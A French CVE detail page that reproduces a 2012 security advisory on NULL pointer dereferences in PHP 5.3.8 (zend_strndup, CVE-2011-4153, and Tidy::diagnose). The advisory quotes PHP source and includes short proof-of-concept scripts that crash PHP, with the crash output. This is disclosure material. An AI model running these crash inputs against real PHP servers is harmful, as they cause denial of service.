CVE-2011-4153 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ PHP 5.3.8 Multiple vulnerabilities ] Author: Maksymilian Arciemowicz Website: http://cxsecurity.com/ Date: 14.01.2012 CVE: CVE-2011-4153 (zend_strndup) Original link: http://cxsecurity.com/research/103 [--- 1. Multiple NULL Pointer Dereference with zend_strndup() [CVE-2011-4153] ---] As we can see in zend_strndup() - -zend_alloca.c--- ZEND_API char *zend_strndup(const char *s, uint length) { char *p; p = (char *) malloc(length+1); if (UNEXPECTED(p == NULL)) { return p; <=== RETURN NULL } if (length) { memcpy(p, s, length); } p[length] = 0; return p; } - -zend_alloca.c--- zend_strndup() may return NULL in php code, many calls to zend_strndup() dosen't checks returned values. In result, places like: - -zend_builtin_functions.c--- ZEND_FUNCTION(define) { char *name; int name_len; zval *val; zval *val_free = NULL; zend_bool non_cs = 0; int case_sensitive = CONST_CS; zend_constant c; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name, &name_len, &val, &non_cs) == FAILURE) { return; } ... c.flags = case_sensitive; /* non persistent */ c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL c.name_len = name_len+1; c.module_number = PHP_USER_CONSTANT; if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) { RETURN_TRUE; } else { RETURN_FALSE; } } - -zend_builtin_functions.c--- - -PoC code--- [cx@82 /www]$ ulimit -a socket buffer size (bytes, -b) unlimited core file size (blocks, -c) unlimited data seg size (kbytes, -d) 524288 file size (blocks, -f) unlimited max locked memory (kbytes, -l) unlimited max memory size (kbytes, -m) 40000 open files (-n) 11095 pipe size (512 bytes, -p) 1 stack size (kbytes, -s) 65536 cpu time (seconds, -t) unlimited max user processes (-u) 5547 virtual memory (kbytes, -v) 40000 swap size (kbytes, -w) unlimited [cx@82 /www]$ cat define.php <?php define(str_repeat("A",$argv[1]),"a"); ?> - -PoC code--- to see difference [cx@82 /www]$ php define.php 8999999 Out of memory [cx@82 /www]$ php define.php 9999999 Segmentation fault: 11 (gdb) bt #0 0x28745eb0 in strrchr () from /lib/libc.so.7 #1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0) at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429 #2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688 #3 0x0826dba6 in zend_do_fcall_common_helper_SPEC (execute_data=0x29401040) at zend_vm_execute.h:316 There are others places, where zend_strndup() is used: - -1-- ext/soap/php_sdl.c if (sdl->is_persistent) { new_enc->details.ns = zend_strndup(ns, ns_len); new_enc->details.type_str = strdup(new_enc->details.type_str); } else { new_enc->details.ns = estrndup(ns, ns_len); new_enc->details.type_str = estrdup(new_enc->details.type_str); } - -1-- - -2-- ext/standard/syslog.c BG(syslog_device) = zend_strndup(ident, ident_len); openlog(BG(syslog_device), option, facility); RETURN_TRUE; - -2-- - -3-- ext/standard/browscap.c } else { /* Other than true/false setting */ Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2), Z_STRLEN_P(arg2)); Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2); } new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1)); zend_str_tolower(new_key, Z_STRLEN_P(arg1)); zend_hash_update(Z_ARRVAL_P(current_section), new_key, Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL); free(new_key); - -3-- - -4-- ext/oci8/oci8.c if (alloc_non_persistent) { connection = (php_oci_connection *) ecalloc(1, sizeof(php_oci_connection)); connection->hash_key = estrndup(hashed_details.c, hashed_details.len); connection->is_persistent = 0; } else { connection = (php_oci_connection *) calloc(1, sizeof(php_oci_connection)); connection->hash_key = zend_strndup(hashed_details.c, hashed_details.len); connection->is_persistent = 1; } - -4-- - -5-- ext/com_dotnet/com_typeinfo.c const_name = php_com_olestring_to_string(bstr_ids, &c.name_len, codepage TSRMLS_CC); c.name = zend_strndup(const_name, c.name_len); efree(const_name); c.name_len++; /* include NUL */ SysFreeString(bstr_ids); /* sanity check for the case where the constant is already defined */ if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) { if (COMG(autoreg_verbose) && !compare_function(&results, &c.value, &exists TSRMLS_CC)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library constant %s is already defined", c.name); } free(c.name); ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc); continue; } - -5-- - -6-- main/php_open_temporary_file.c /* On Unix use the (usual) TMPDIR environment variable. */ { char* s = getenv("TMPDIR"); if (s && *s) { int len = strlen(s); if (s[len - 1] == DEFAULT_SLASH) { temporary_directory = zend_strndup(s, len - 1); } else { temporary_directory = zend_strndup(s, len); } return temporary_directory; } - -6-- [--- 2. Tidy::diagnose() NULL pointer dereference ---] Class tidy, may provide to null pointer dereference using tidy lib. 1287 static PHP_FUNCTION(tidy_diagnose) 1288 { 1289 TIDY_FETCH_OBJECT; 1290 1291 if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) { 1292 tidy_doc_update_properties(obj TSRMLS_CC); 1293 RETURN_TRUE; 1294 } 1295 1296 RETURN_FALSE; 1297 } - -PoC--- (gdb) r -r '$nx=new Tidy("*");$nx->diagnose();' The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();' [Thread debugging using libthread_db enabled] PHP Warning: tidy::__construct(): Cannot Load '*' into memory in Command line code on line 1 Program received signal SIGSEGV, Segmentation fault. 0x00007fffedfaff87 in prvTidyReportMarkupVersion () from /usr/lib/libtidy-0.99.so.0 - -PoC--- - -Result--- cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();' PHP Warning: tidy::__construct(): Cannot Load '*' into memory in Command line code on line 1 Segmentation fault - -Result--- I do not consider this vulnerability as a having security impact other as DoS. [--- 3. Contact ---] Author: Maksymilian Arciemowicz Email: max {AA\TT cxsecurity |D|0|T] com http://cxsecurity.com/ GPG: http://cxsecurity.com/office.cxsecurity.txt - -- Best Regards Maksymilian Arciemowicz (CXSecurity.com) pub 4096R/D6E5B530 2010-09-19 uid Maksymilian Arciemowicz (cx) <[email protected]> sub 4096R/58BA663C 2010-09-19 -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJPEWEaAAoJEIO8+dzW5bUwiQIP+wW7gqAMB3FtONREDS9rUa83 VTJpMzCNdZw5cy7qIwivC4usdRUbidFy8Bqt/TA/3x8nWVm3Wx//5DPyFWb/RNZh swSS7+9f6XJA4tEF/eTn6lCEG4xp2wLxHgxqIqmWR09gkOifhKHVEEXlO5qsQxhx T5hEYqbvXEknzlUS/HC9C6sZsZK0EbdPjxDqe1qE+P3GyHecfoVb3s7WQw0IitZT l47by1UbJ2iGj5q4EExLyj2FxomIw46LFdFtePHOI6EZcq/MODnyCGNkzVpS4tyK SNIxiSp7nM1n08a6kQ1pZrMyTUO/LATojJ6qf79bJApyhK1ggs4WF+E73wItiFt0 ordQeqWy2hTLyv+UlbsoFErSgASgw5MIw3ygZXNZsdQWEMj+UCUTrsro7k/zB6Uy 3r4ccmyf1Vd+kLx12SAR/uxHIlqQVskQDi2k45CPHQVAYGKdax24ksVlfgQ2K/dY 2SCj9gEDAOKqtNLxyFyEStraeb330TrxbGaI25gjiDVf7nYgPowqdaM1gI862MoR vP4vbFFY9ldwTBsLz9DNMVObsNWsoz2BlQ6olCgUPqkvce9RyI6rp+QwyIXQLcVr jUGMXhpmDrNR2oyA4ufsZ4u5W8KUIK3t26v8649k3LSzmRpmK1TSTNqdHwm9WfMa 0qg+Bq1hSEVfTOuqOY7x =IDq3 -----END PGP SIGNATURE-----